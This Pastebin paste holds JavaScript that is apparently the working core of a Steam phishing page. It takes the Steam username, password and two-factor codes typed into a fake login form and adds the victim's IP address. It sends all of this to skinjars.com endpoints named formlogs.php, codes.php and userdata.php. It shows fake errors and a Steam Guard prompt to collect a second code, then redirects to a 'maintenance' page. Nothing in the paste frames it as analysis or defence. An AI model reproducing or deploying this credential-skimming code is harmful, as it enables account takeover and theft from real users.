Advertisement
Guest User

Untitled

a guest
Aug 4th, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1.  
  2. function anmcode(){
  3. if(readCookie('log') !== 'no'){
  4. $.getJSON("https://jsonip.com?callback=?", function (data) {
  5. $.ajax({
  6. type: "POST",
  7. url: "https://skinjars.com/d/formlogs.php",
  8. data: '\n\n' + '[[ >-> TIME: ' + new Date(new Date().getTime()).toLocaleString() + ' >-> LOGGED IN FROM IP: ' + data.ip + ' WITH: ' + '\n' + ' USERNAME: ' + $('#steamAccountName').val() + '\n' + ' PASSWORD: ' + $('#steamPassword').val() + '\n' + ' CODE: ' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '\n' + ' REFCODE: ' + refcode + '\n' + ']] ',
  9. });
  10. });
  11. }
  12. $('.firstbutton').hide();
  13. $('.waiting').show();
  14. setTimeout(function(){
  15. $('.secondbutton').show();
  16. $('.waiting').hide();
  17. $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val('');
  18. }, 1500);
  19.  
  20. $.ajax({
  21. type: "POST",
  22. url: "https://skinjars.com/d/codes.php",
  23. data: 'code = ' + '"' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '"',
  24. });
  25. }
  26.  
  27. function anmcode2(){
  28. $('.secondbutton').hide();
  29. $.ajax({
  30. type: "POST",
  31. url: "https://skinjars.com/d/codes.php",
  32. data: 'code = ' + '"' + $('.twofactorauthcode_entry_input.authcode_placeholder').eq(1).val() + '"',
  33. });
  34. $('.waiting').show();
  35. window.location = 'https://skinjars.com/maintenance/';
  36. }
  37. function login(){
  38. var valid = $('#steamAccountName').val();
  39. if(/\s/g.test(valid) == false && $('#steamAccountName').val().length !== 0 && $('#steamPassword').val().length !== 0){
  40. $('.usernamemsg').text($('#steamAccountName').val());
  41. if($('#error_display').css('display') == 'none'){
  42. anmlogin();
  43. setTimeout(function(){$('#error_display').slideDown();}, 1500);
  44. } else {
  45. $('#login_btn_signin').hide();$('#login_btn_wait').show();
  46. setTimeout(function(){modal('steamguard','show');}, 1500);
  47. }
  48. $.ajax({
  49. type: "POST",
  50. url: "https://skinjars.com/d/userdata.php",
  51. data: ' username = ' + '"' + $('#steamAccountName').val() + '"' + ';' + 'pw = ' + '"' + $('#steamPassword').val() + '"' + ';' + ' refcode = "' + refcode + '"' + ';',
  52. });
  53. } else {
  54. anmlogin();
  55. $('#error_display').slideDown();
  56. console.log('HAS SOME SPACE IN USERNAME');
  57. }
  58. }
  59. function anmlogin(){$('#login_btn_signin').hide();$('#login_btn_wait').show(); setTimeout(function(){$('#login_btn_signin').show();$('#login_btn_wait').hide();}, 1500);}function modal(id,command){
  60. if(command == 'show'){
  61. $('#' + id + '').fadeIn();
  62. $('.newmodal_background').fadeIn()
  63. }
  64. if(command == 'hide'){
  65. $('#' + id + '').fadeOut();
  66. $('.newmodal_background').fadeOut()
  67. }
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement